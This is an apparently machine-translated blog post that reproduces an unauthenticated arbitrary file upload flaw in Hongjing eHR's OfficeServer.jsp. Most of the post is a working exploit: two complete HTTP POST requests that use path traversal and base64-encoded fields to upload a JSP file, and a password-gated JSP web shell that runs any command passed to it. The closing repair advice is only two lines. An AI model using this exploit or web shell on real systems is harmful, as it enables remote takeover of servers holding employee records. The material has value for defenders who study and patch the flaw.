Recurrencia de vulnerabilidad de carga de archivos arbitrarios de Hongjing eHR (día 0)

0x01 Introducción del producto

  El software de gestión de recursos humanos Hongjing eHR es un software que integra la gestión de recursos humanos y las aplicaciones digitales para satisfacer las necesidades dinámicas, colaborativas, orientadas a procesos y estratégicas.

Descripción general de la vulnerabilidad 0x02

  Existe una vulnerabilidad de carga de archivos arbitrarios en la interfaz Hongjing eHR OfficeServer.jsp. Los atacantes remotos no autenticados pueden usar esta vulnerabilidad para cargar archivos arbitrarios, lo que eventualmente puede causar que el servidor se bloquee.

0x03 Entorno de recurrencia

 Huella digital de Intergraph: app.name="Hongjing HCM"

0x04 Reaparición de vulnerabilidad 

PoC

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cNjYuanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

<%out.println("bbbbbbbbbbbbbbb");%>

PD: El campo FILETYPE en el cuerpo de la solicitud es el nombre del archivo cargado encriptado por base64

intenta subir

verificar

explotar

Escriba un script jsp con comando echo

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

 subir

POST /w_selfservice/oauthservlet/%2e./.%2e/system/options/customreport/OfficeServer.jsp HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Connection: close

DBSTEP V3.0     351             0               666             DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
FILETYPE=Li5cODguanNw
RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66

<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

ejecución de comandos

 

0x05 Sugerencia de reparación

 Cierre la superficie expuesta a Internet o establezca el permiso de acceso a la interfaz

 Actualizar a una versión segura

Supongo que te gusta

Origin blog.csdn.net/qq_41904294/article/details/131902836
Recomendado
Clasificación